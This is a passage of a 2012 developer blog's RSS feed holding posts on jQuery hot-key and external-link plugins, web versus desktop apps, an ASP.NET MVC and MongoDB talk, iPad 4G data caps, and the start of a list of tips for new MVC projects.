<br />Filed under: <a href='http://blog.michaelckennedy.net/category/developmentor/'>DevelopMentor</a> Tagged: <a href='http://blog.michaelckennedy.net/tag/net/'>.NET</a>, <a href='http://blog.michaelckennedy.net/tag/asp-net/'>ASP.NET</a>, <a href='http://blog.michaelckennedy.net/tag/developmentor/'>DevelopMentor</a>, <a href='http://blog.michaelckennedy.net/tag/mvc/'>MVC</a>, <a href='http://blog.michaelckennedy.net/tag/screencasts/'>Screencasts</a>, <a href='http://blog.michaelckennedy.net/tag/visual-studio/'>Visual Studio</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/michaelckennedy.wordpress.com/505/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/michaelckennedy.wordpress.com/505/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=505&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.michaelckennedy.net/2012/04/06/webcast-building-rich-input-forms-in-asp-net-mvc-tuesday-april-10/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<georss:point>0.000000 0.000000</georss:point>
		<geo:lat>0.000000</geo:lat>
		<geo:long>0.000000</geo:long>
		<media:content url="http://0.gravatar.com/avatar/cb053688f95dbebf60e5c19a3d05110c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">mkennedy66996693</media:title>
		</media:content>
	</item>
		<item>
		<title>No, You Don&#8217;t Need A Windows App</title>
		<link>http://blog.michaelckennedy.net/2012/04/04/no-you-dont-need-a-windows-app/</link>
		<comments>http://blog.michaelckennedy.net/2012/04/04/no-you-dont-need-a-windows-app/#comments</comments>
		<pubDate>Wed, 04 Apr 2012 15:03:33 +0000</pubDate>
		<dc:creator>Michael Kennedy</dc:creator>
				<category><![CDATA[jQuery]]></category>
		<category><![CDATA[Articles]]></category>
		<category><![CDATA[Cloud]]></category>
		<category><![CDATA[Opinion]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://blog.michaelckennedy.net/?p=462</guid>
		<description><![CDATA[Do you think you need a Window&#8217;s app for your next project? Here&#8217;s a thought: No you don&#8217;t. Let me give you one less reason choose the rocky-road of desktop apps today. You&#8217;ll hear people tell you that if you &#8230; <a href="http://blog.michaelckennedy.net/2012/04/04/no-you-dont-need-a-windows-app/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=462&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>Do you think you need a Window&#8217;s app for your next project? Here&#8217;s a thought: No you don&#8217;t.</p>
<p>Let me give you one less reason choose the rocky-road of desktop apps today. You&#8217;ll hear people tell you that if you build applications for business users (so-called LOB apps) that are input heavy or have complex navigation, your only choice is to build a Windows application.</p>
<p>Why? Because your power users will want hot-keys. They don&#8217;t want to use the mouse and navigation and all that stuff that makes the web less usable. They&#8217;ll just want to hit a few keystrokes and jump from place to place and do that quick look-up or data entry.</p>
<p>If you haven&#8217;t looked carefully around the web lately, here&#8217;s a revelation:</p>
<blockquote><p><strong>Real web apps have hot-keys too.</strong></p></blockquote>
<p><span id="more-462"></span>Just look at Twitter, GMail, GitHub, Hotmail, and many more. They all have rich hot-key support (although with GMail you&#8217;ll have to turn it on). Scott Hanselman has a great article on this: <a href="http://www.hanselman.com/blog/TheWebIsTheNewTerminalAreYouUsingTheWebsKeyboardShortcutsAndHotkeys.aspx" rel="bookmark">Are you using the Web&#8217;s Keyboard Shortcuts and Hotkeys?</a></p>
<p>So if Scott&#8217;s is so good, why write this one? His post is meant to open your eyes to how web apps can be. I want to show you, Mr. / Ms. Software Person, how easy it is to get there. You might be thinking to yourself, &#8220;Sure Google &amp; Twitter can do this because they have millions of dollars and a bunch of developers. My project has 2 people and a 1 month deadline.&#8221;</p>
<p>It turns out, adding hot-keys to a web app is crazy easy. Especially with the jQuery plugin <a href="http://blog.michaelckennedy.net/2012/03/15/add-hot-keys-to-web-apps-with-this-jquery-plugin/">jQuery.hotKeyMap.js</a> which I recently wrote. Here&#8217;s the <a href="http://blog.michaelckennedy.net/2012/03/15/add-hot-keys-to-web-apps-with-this-jquery-plugin/">blog post </a>I did on it. You should check out the sample application I built to <a href="http://www.michaelckennedy.net/Samples/blog/HotKeys/" target="_blank">see it in action</a>.</p>
<p>So give hot-keys in your web apps a try. Feel free to use my jQuery plugin and sample application as a starting point. Once you get over the hurtle of teaching your users to use them, you&#8217;ll hear a whole lot less clamoring for desktop apps. All the pain from weird errors on certain versions of Windows, installers, patches, admin rights, .NET Framework versions and other unpleasantries that you&#8217;ve gotten used to, because you had to, will be distant memories.</p>
<p>Cheers,<br />
<a href="https://twitter.com/#!/mkennedy" target="_blank">@mkennedy</a></p>
<br />Filed under: <a href='http://blog.michaelckennedy.net/category/jquery/'>jQuery</a> Tagged: <a href='http://blog.michaelckennedy.net/tag/articles/'>Articles</a>, <a href='http://blog.michaelckennedy.net/tag/cloud/'>Cloud</a>, <a href='http://blog.michaelckennedy.net/tag/jquery/'>jQuery</a>, <a href='http://blog.michaelckennedy.net/tag/opinion/'>Opinion</a>, <a href='http://blog.michaelckennedy.net/tag/web/'>web</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/michaelckennedy.wordpress.com/462/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/michaelckennedy.wordpress.com/462/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=462&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.michaelckennedy.net/2012/04/04/no-you-dont-need-a-windows-app/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/cb053688f95dbebf60e5c19a3d05110c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">mkennedy66996693</media:title>
		</media:content>
	</item>
		<item>
		<title>Make External Links Open in a New Window With This jQuery Plugin</title>
		<link>http://blog.michaelckennedy.net/2012/03/19/make-external-links-open-in-a-new-window-with-this-jquery-plugin/</link>
		<comments>http://blog.michaelckennedy.net/2012/03/19/make-external-links-open-in-a-new-window-with-this-jquery-plugin/#comments</comments>
		<pubDate>Mon, 19 Mar 2012 15:31:41 +0000</pubDate>
		<dc:creator>Michael Kennedy</dc:creator>
				<category><![CDATA[jQuery]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Plugins]]></category>

		<guid isPermaLink="false">http://blog.michaelckennedy.net/?p=465</guid>
		<description><![CDATA[Here&#8217;s a common problem. You want to make all of your links on your site that would lead visitors away to open in separate tabs. For example, if I wanted to tell you about this cool article by Troy Goode &#8230; <a href="http://blog.michaelckennedy.net/2012/03/19/make-external-links-open-in-a-new-window-with-this-jquery-plugin/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=465&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>Here&#8217;s a common problem. You want to make all of your links on your site that would lead visitors away to open in separate tabs. For example, if I wanted to tell you about this <a href="http://www.squaredroot.com/2007/12/05/addupdatedelete-with-linqpad/" target="_blank">cool article by Troy Goode about working with LINQPad</a> as part of a larger conversation, I probably would have it open in a new tab (as the one above does).</p>
<p>Of course, you can do this by adding target=&#8221;_blank&#8221; to all your external links, but that&#8217;s tedious to say the least. So here is a simple jQuery plugin I created to do the trick. (Yes I know there are others, but none seem quite right, so here is yet another.)</p>
<p>Download: <a href="http://www.michaelckennedy.net/Samples/blog/plugins/jQuery.externalLinks/jQuery.externalLinks-1.0.zip">Query.externalLinks</a><a title="http://www.michaelckennedy.net/Samples/blog/plugins/jQuery.externalLinks/jQuery.externalLinks-1.0.zip" href="http://www.michaelckennedy.net/Samples/blog/plugins/jQuery.externalLinks/jQuery.externalLinks-1.0.zip"><br />
</a></p>
<p>The usage is pretty easy. Pick a section to scan for external links and say go:</p>
<p><a href="http://michaelckennedy.files.wordpress.com/2012/03/external_links_usage.png"><img class="aligncenter size-full wp-image-484" title="external_links_usage" src="http://michaelckennedy.files.wordpress.com/2012/03/external_links_usage.png?w=584&#038;h=138" alt="" width="584" height="138" /></a></p>
<p>Here is <a href="http://www.michaelckennedy.net/Samples/blog/HotKeys/" target="_blank">a simple example </a>(from my <a href="http://blog.michaelckennedy.net/2012/03/15/add-hot-keys-to-web-apps-with-this-jquery-plugin/" target="_blank">previous post on hotkeys</a>). Click on the title or the twitter icon in the lower right to see it in action.</p>
<p>Currently, it works by adding target=&#8221;_blank&#8221; to all fully-qualified links. For example, the first link will be a new window, the second won&#8217;t:</p>
<p>&lt;a href=&#8221;<a href="http://www.google.com&#8221;&gt;google&lt;/a&#038;gt" rel="nofollow">http://www.google.com&#8221;&gt;google&lt;/a&#038;gt</a>;<br />
&lt;a href=&#8221;/contact&#8221;&gt;contact me&lt;/a&gt;</p>
<p>Hope you find it helpful.</p>
<p>Cheers,<br />
<a href="https://twitter.com/#!/mkennedy" target="_blank">@mkennedy</a></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<br />Filed under: <a href='http://blog.michaelckennedy.net/category/jquery/'>jQuery</a>, <a href='http://blog.michaelckennedy.net/category/uncategorized/'>Uncategorized</a> Tagged: <a href='http://blog.michaelckennedy.net/tag/plugins/'>Plugins</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/michaelckennedy.wordpress.com/465/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/michaelckennedy.wordpress.com/465/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=465&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.michaelckennedy.net/2012/03/19/make-external-links-open-in-a-new-window-with-this-jquery-plugin/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/cb053688f95dbebf60e5c19a3d05110c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">mkennedy66996693</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/03/external_links_usage.png" medium="image">
			<media:title type="html">external_links_usage</media:title>
		</media:content>
	</item>
		<item>
		<title>Add Hot Keys to Web Apps With jQuery.hotKeyMap.js</title>
		<link>http://blog.michaelckennedy.net/2012/03/15/add-hot-keys-to-web-apps-with-this-jquery-plugin/</link>
		<comments>http://blog.michaelckennedy.net/2012/03/15/add-hot-keys-to-web-apps-with-this-jquery-plugin/#comments</comments>
		<pubDate>Thu, 15 Mar 2012 19:10:46 +0000</pubDate>
		<dc:creator>Michael Kennedy</dc:creator>
				<category><![CDATA[jQuery]]></category>
		<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[MVC]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[Plugins]]></category>

		<guid isPermaLink="false">http://blog.michaelckennedy.net/?p=471</guid>
		<description><![CDATA[Hot keys (or accelerator keys) have been an important navigational tool for desktop applications for many years. Finally, web applications are adopting this functionality too. Check out this simple example of a web app with hotkeys. Expect a more general &#8230; <a href="http://blog.michaelckennedy.net/2012/03/15/add-hot-keys-to-web-apps-with-this-jquery-plugin/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=471&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>Hot keys (or accelerator keys) have been an important navigational tool for desktop applications for many years. Finally, web applications are adopting this functionality too. Check out this <a href="http://www.michaelckennedy.net/Samples/blog/HotKeys/" target="_blank">simple example of a web app with hotkeys</a>.</p>
<p>Expect a more general blog post on the topic soon. For now, I&#8217;d like to share my jQuery plugin that enables this capability with you.</p>
<p><strong>Announcing jQuery.hotKeyMap.js</strong>: A jQuery plugin that allows you to add complex hot-key functionality and navigation to your web apps with very little effort.</p>
<p><span id="more-471"></span>You can download it here:</p>
<p style="padding-left:30px;"><a href="http://www.michaelckennedy.net/Samples/blog/plugins/jQuery.hotKeyMap/jQuery.hotKeyMap.zip"> jQuery.hotKeyMap</a></p>
<p>It&#8217;s built on top of John Resig&#8217;s <a href="https://github.com/jeresig/jquery.hotkeys" target="_blank">jQuery.hotKeys</a>. His plugin is great (as you&#8217;d expect), but as far as I know doesn&#8217;t support complex series of keys. For example, if you want to GMail style navigation (press &#8216;g&#8217; then press &#8216;t&#8217; to go to sent mail), that&#8217;s fairly difficult using his plugin. Here&#8217;s how you accomplish this with my plugin:</p>
<p><a href="http://michaelckennedy.files.wordpress.com/2012/03/usage_sm.png"><img class="aligncenter size-full wp-image-476" title="Usage" src="http://michaelckennedy.files.wordpress.com/2012/03/usage_sm.png?w=584&#038;h=199" alt="" width="584" height="199" /></a></p>
<p>In the code above, we&#8217;re assigning three immediate key actions (e.g. ctrl+z executes undo). We are also adding one complex sequence: <strong>g, h</strong> =&gt; navigates to the home page (calls navTo, not shown, passing &#8216;h&#8217;).</p>
<p>Want to see it in action? Check out my sample application:</p>
<p style="padding-left:30px;"><em><strong>Web Apps Have Hot Keys Too!</strong></em><br />
<a href="http://www.michaelckennedy.net/Samples/blog/HotKeys/" target="_blank">http://www.michaelckennedy.net/Samples/blog/HotKeys/</a></p>
<p>It even comes with Visual Studio intellisense:</p>
<p><a href="http://michaelckennedy.files.wordpress.com/2012/03/usage_intellisense.png"><img class="aligncenter size-full wp-image-479" title="usage_intellisense" src="http://michaelckennedy.files.wordpress.com/2012/03/usage_intellisense.png?w=584&#038;h=113" alt="" width="584" height="113" /></a></p>
<p>I hope you find it useful!</p>
<p>Cheers,<br />
<a href="https://twitter.com/#!/mkennedy" target="_blank">@mkennedy</a></p>
<br />Filed under: <a href='http://blog.michaelckennedy.net/category/jquery/'>jQuery</a> Tagged: <a href='http://blog.michaelckennedy.net/tag/asp-net/'>ASP.NET</a>, <a href='http://blog.michaelckennedy.net/tag/jquery/'>jQuery</a>, <a href='http://blog.michaelckennedy.net/tag/mvc/'>MVC</a>, <a href='http://blog.michaelckennedy.net/tag/open-source/'>Open Source</a>, <a href='http://blog.michaelckennedy.net/tag/plugins/'>Plugins</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/michaelckennedy.wordpress.com/471/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/michaelckennedy.wordpress.com/471/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=471&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.michaelckennedy.net/2012/03/15/add-hot-keys-to-web-apps-with-this-jquery-plugin/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/cb053688f95dbebf60e5c19a3d05110c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">mkennedy66996693</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/03/usage_sm.png" medium="image">
			<media:title type="html">Usage</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/03/usage_intellisense.png" medium="image">
			<media:title type="html">usage_intellisense</media:title>
		</media:content>
	</item>
		<item>
		<title>Speaking on NoSQL and MVC at the South Sound .NET User Group (Near Seattle, WA)</title>
		<link>http://blog.michaelckennedy.net/2012/03/13/speaking-on-nosql-and-mvc-at-the-south-sound-net-user-group-near-seattle-wa/</link>
		<comments>http://blog.michaelckennedy.net/2012/03/13/speaking-on-nosql-and-mvc-at-the-south-sound-net-user-group-near-seattle-wa/#comments</comments>
		<pubDate>Tue, 13 Mar 2012 15:15:22 +0000</pubDate>
		<dc:creator>Michael Kennedy</dc:creator>
				<category><![CDATA[Speaking]]></category>
		<category><![CDATA[.NET]]></category>
		<category><![CDATA[DevelopMentor]]></category>
		<category><![CDATA[LINQ]]></category>
		<category><![CDATA[MVC]]></category>
		<category><![CDATA[NoSQL]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[User Groups]]></category>

		<guid isPermaLink="false">http://blog.michaelckennedy.net/?p=406</guid>
		<description><![CDATA[Update: Thanks to everyone who came. You can download the sample application we build here and slides below:    Kennedy-Demo-Amazoon-Sound-Sound-Usergroup.zip    BUILDING WEB APPS WITH ASP.NET MVC AND NOSQL View my profile on SlideShare. I&#8217;m excited to announce that I&#8217;ll be &#8230; <a href="http://blog.michaelckennedy.net/2012/03/13/speaking-on-nosql-and-mvc-at-the-south-sound-net-user-group-near-seattle-wa/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=406&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p style="text-align:left;">Update: Thanks to everyone who came. You can download the sample application we build here and slides below:</p>
<p style="text-align:left;">   <a href="http://s3.amazonaws.com/michael-kennedy/downloads/SouthSoundUG/Kennedy-Demo-Amazoon-Sound-Sound-Usergroup.zip">Kennedy-Demo-Amazoon-Sound-Sound-Usergroup.zip</a></p>
<div id="__ss_12563114" style="width:425px;"><strong>   <a title="BUILDING WEB APPS WITH ASP.NET MVC AND NOSQL" href="http://www.slideshare.net/mkennedy66996693/building-web-apps-with-aspnet-mvc-and-nosql" target="_blank">BUILDING WEB APPS WITH ASP.NET MVC AND NOSQL</a></strong><iframe src='http://www.slideshare.net/slideshow/embed_code/12563114' width='425' height='348' scrolling='no'></iframe></p>
<div style="padding:5px 0 12px;"><strong>View <a href="http://www.slideshare.net/mkennedy66996693" target="_blank">my profile</a> on SlideShare.<span id="more-406"></span></strong></div>
<div style="padding:5px 0 12px;"><span style="text-align:left;">I&#8217;m excited to announce that I&#8217;ll be speaking at the </span><a style="text-align:left;" href="http://www.ssdotnet.org/" target="_blank">South Sound .NET User Group</a><span style="text-align:left;"> on April 12th in Olympia, WA.</span></div>
</div>
<p style="text-align:left;">The topic will be:</p>
<p style="padding-left:30px;"><em>BUILDING WEB APPS WITH ASP.NET MVC AND NOSQL</em></p>
<p style="padding-left:30px;"><em>This talk guides you through building modern web applications using ASP.NET MVC and <em> MongoDB</em>, one of the most popular NoSQL databases.</em></p>
<p style="padding-left:30px;"><em>You will learn some best practices for getting started with MVC. We&#8217;ll cover building rich-forms to accept user input. And if time permits, we might even add some client-side techniques using jQuery and MVC.</em></p>
<p style="padding-left:30px;"><em>All of this will be built upon the powerful non-relational database MongoDB. We will discuss the origins of the so-called NoSQL movement and why you might choose a non-relational database over SQL Server. You&#8217;ll also see our data access layer will be built using LINQ to MongoDB.</em></p>
<p style="padding-left:30px;"><em>Of course, you won&#8217;t be in for a night of PowerPoint. This talk is a series of interactive demos using <strong>Visual Studio 11, Windows 8,</strong> and C#.</em></p>
<p>I hope to see you there! There is a chance I&#8217;ll have some <a href="http://www.develop.com/" target="_blank">prizes from DevelopMentor</a> to hand out while I&#8217;m there too.</p>
<p>Cheers,<br />
<a href="https://twitter.com/#!/mkennedy" target="_blank">@mkennedy</a></p>
<br />Filed under: <a href='http://blog.michaelckennedy.net/category/speaking/'>Speaking</a> Tagged: <a href='http://blog.michaelckennedy.net/tag/net/'>.NET</a>, <a href='http://blog.michaelckennedy.net/tag/developmentor/'>DevelopMentor</a>, <a href='http://blog.michaelckennedy.net/tag/linq/'>LINQ</a>, <a href='http://blog.michaelckennedy.net/tag/mvc/'>MVC</a>, <a href='http://blog.michaelckennedy.net/tag/nosql/'>NoSQL</a>, <a href='http://blog.michaelckennedy.net/tag/open-source/'>Open Source</a>, <a href='http://blog.michaelckennedy.net/tag/speaking/'>Speaking</a>, <a href='http://blog.michaelckennedy.net/tag/user-groups/'>User Groups</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/michaelckennedy.wordpress.com/406/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/michaelckennedy.wordpress.com/406/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=406&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.michaelckennedy.net/2012/03/13/speaking-on-nosql-and-mvc-at-the-south-sound-net-user-group-near-seattle-wa/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<georss:point>0.000000 0.000000</georss:point>
		<geo:lat>0.000000</geo:lat>
		<geo:long>0.000000</geo:long>
		<media:content url="http://0.gravatar.com/avatar/cb053688f95dbebf60e5c19a3d05110c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">mkennedy66996693</media:title>
		</media:content>
	</item>
		<item>
		<title>iPad 4G Doesn&#8217;t Mean What You Think It Means</title>
		<link>http://blog.michaelckennedy.net/2012/03/12/ipad-4g-doesnt-mean-what-you-think-it-means/</link>
		<comments>http://blog.michaelckennedy.net/2012/03/12/ipad-4g-doesnt-mean-what-you-think-it-means/#comments</comments>
		<pubDate>Mon, 12 Mar 2012 16:24:39 +0000</pubDate>
		<dc:creator>Michael Kennedy</dc:creator>
				<category><![CDATA[Mobile]]></category>
		<category><![CDATA[mobile]]></category>

		<guid isPermaLink="false">http://blog.michaelckennedy.net/?p=422</guid>
		<description><![CDATA[We&#8217;re all psyched about the new iPad 3 (even though it&#8217;s not called iPad 3). It&#8217;s filled with killer features: HD Video, Retina Display, and every conceivable type of wireless connectivity including 4G. Apple touts 4G as finally giving you &#8230; <a href="http://blog.michaelckennedy.net/2012/03/12/ipad-4g-doesnt-mean-what-you-think-it-means/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=422&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>We&#8217;re all psyched about the new iPad 3 (even though it&#8217;s <a href="http://www.ibtimes.com/articles/311239/20120308/new-ipad-release-name-confusion-3-hd.htm" target="_blank">not called iPad 3</a>). It&#8217;s filled with <a href="http://www.apple.com/ipad/" target="_blank">killer features</a>: HD Video, Retina Display, and every conceivable type of wireless connectivity including <strong>4G</strong>.</p>
<p>Apple touts 4G as finally giving you the ability to watch HD video streaming on the go. They&#8217;re implying that finally you are free of 3G slowness and now you have high-speed Internet. You can do normal high-speed Internet things on the go. You can even tether up to 5 devices to that connection.</p>
<p>But I wouldn&#8217;t do too much of that if I were you! <span id="more-422"></span>You see, this capability (while awesome) reminds me of that <a href="http://www.imdb.com/character/ch0003786/quotes" target="_blank">Prince Bride quote</a>:</p>
<blockquote><p>You keep using that word.<br />
I do not think it means what you think it means.</p></blockquote>
<p>Yes, you can watch HD video. But only 3 hours of it, per month. And that&#8217;s it. At the highest premium plan ($50/month). The starter plan gives you maybe 30 minutes / month. That had better be pretty good video, because it&#8217;s not cheap.</p>
<p>Here&#8217;s the relevant excerpt from the apple order page:</p>
<p><img class="aligncenter size-full wp-image-427" title="4G Plans for iPad" src="http://michaelckennedy.files.wordpress.com/2012/03/4g-rules.png?w=584&#038;h=344" alt="" width="584" height="344" />Yikes! Don&#8217;t despair though. There are other options. I&#8217;m currently using <a href="http://www.clear.com" target="_blank">Clear.net</a>. For $40/month they give you UNLIMITED data plans.</p>
<p><a href="http://michaelckennedy.files.wordpress.com/2012/03/device-list-4g-spot-apollo-thumb.png"><img class="aligncenter size-full wp-image-428" title="device-list-4g-spot-apollo-thumb" src="http://michaelckennedy.files.wordpress.com/2012/03/device-list-4g-spot-apollo-thumb.png?w=584" alt=""   /></a>Here&#8217;s my recent usage graph. I usually do not use my clear at home, but do use it when I&#8217;m working out at Starbucks or elsewhere. Keep in mind, this graph is <strong>PER DAY USAGE </strong>and<strong> </strong>only counts 8 days of this period<strong></strong>. I&#8217;ve also highlighted where the <strong>MONTHLY</strong> iPad 4G plans would land:</p>
<p><a href="http://michaelckennedy.files.wordpress.com/2012/03/clear-usage3.png"><img class="aligncenter size-full wp-image-444" title="clear-usage3" src="http://michaelckennedy.files.wordpress.com/2012/03/clear-usage3.png?w=584&#038;h=188" alt="" width="584" height="188" /></a>You can see several days of normal usage would bust the monthly limit of the premium plans. Most days that I have used the device all day would bust the mid-grade plan (not the cheapest, which is 250 MB, but the 3 GB plan).</p>
<p>Yes, there is the draw-back of carrying an extra device (even though it&#8217;s very small &#8211; credit card sized). But you get 4G and you get to use the Internet as if you really had high-speed Internet. Plus, you get a wireless network supporting up to 8 devices at once (maybe 9 with a hack).</p>
<p>Here&#8217;s a speed test from a random day on clear 4G. You can see it&#8217;s pretty speedy, but I have seen it above 10 Mbps.</p>
<p><a href="http://michaelckennedy.files.wordpress.com/2012/03/clear-speed.png"><img class="aligncenter size-full wp-image-435" title="clear-speed" src="http://michaelckennedy.files.wordpress.com/2012/03/clear-speed.png?w=584&#038;h=466" alt="" width="584" height="466" /></a>So like many of you, I&#8217;m eagerly awaiting March 16th when the new iPad ships. But I&#8217;m just as happy it comes with WiFi and not 4G. I already have the covered.</p>
<p>Cheers!<br />
<a href="http://twitter.com/#!/mkennedy" target="_blank">@mkennedy</a></p>
<br />Filed under: <a href='http://blog.michaelckennedy.net/category/mobile/'>Mobile</a> Tagged: <a href='http://blog.michaelckennedy.net/tag/mobile-2/'>mobile</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/michaelckennedy.wordpress.com/422/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/michaelckennedy.wordpress.com/422/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=422&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.michaelckennedy.net/2012/03/12/ipad-4g-doesnt-mean-what-you-think-it-means/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/cb053688f95dbebf60e5c19a3d05110c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">mkennedy66996693</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/03/4g-rules.png" medium="image">
			<media:title type="html">4G Plans for iPad</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/03/device-list-4g-spot-apollo-thumb.png" medium="image">
			<media:title type="html">device-list-4g-spot-apollo-thumb</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/03/clear-usage3.png" medium="image">
			<media:title type="html">clear-usage3</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/03/clear-speed.png" medium="image">
			<media:title type="html">clear-speed</media:title>
		</media:content>
	</item>
		<item>
		<title>9 Ways Your Brand New ASP.NET MVC Project Can Be Better</title>
		<link>http://blog.michaelckennedy.net/2012/03/07/9-ways-your-brand-new-mvc-project-can-be-better/</link>
		<comments>http://blog.michaelckennedy.net/2012/03/07/9-ways-your-brand-new-mvc-project-can-be-better/#comments</comments>
		<pubDate>Wed, 07 Mar 2012 14:55:51 +0000</pubDate>
		<dc:creator>Michael Kennedy</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[.NET]]></category>
		<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[MVC]]></category>
		<category><![CDATA[tips]]></category>

		<guid isPermaLink="false">http://blog.michaelckennedy.net/?p=329</guid>
		<description><![CDATA[So you&#8217;re ready to start that new and ambitious ASP.NET MVC project. Maybe you&#8217;re kicking off a new startup or just finally moving that old-and-crusty webforms project into modern development world. Either way, here are a few very simple things you &#8230; <a href="http://blog.michaelckennedy.net/2012/03/07/9-ways-your-brand-new-mvc-project-can-be-better/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=329&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>So you&#8217;re ready to start that new and ambitious ASP.NET MVC project. Maybe you&#8217;re kicking off a new startup or just <em>finally</em> moving that old-and-crusty webforms project into modern development world. Either way, here are a few very simple things you can do immediately after creating that new MVC project that you will thank yourself for as your project grows in complexity.</p>
<p><strong>1.</strong> First of all, even MVC 3 has old-and-crusty aspects lurking in its projects. There are old MicrosoftMvc*.js AJAX and validation libraries that have be replaced with <a href="http://bradwilson.typepad.com/blog/2010/10/mvc3-unobtrusive-ajax.html" target="_blank">new jQuery hotness</a>. These *.js files aren&#8217;t used so just delete them.</p>
<p><a href="http://michaelckennedy.files.wordpress.com/2012/03/msmvcjs_annotated.png"><img class="aligncenter size-full wp-image-365" title="Unused MicrosoftMVC*.js files" src="http://michaelckennedy.files.wordpress.com/2012/03/msmvcjs_annotated.png?w=584" alt=""   /></a></p>
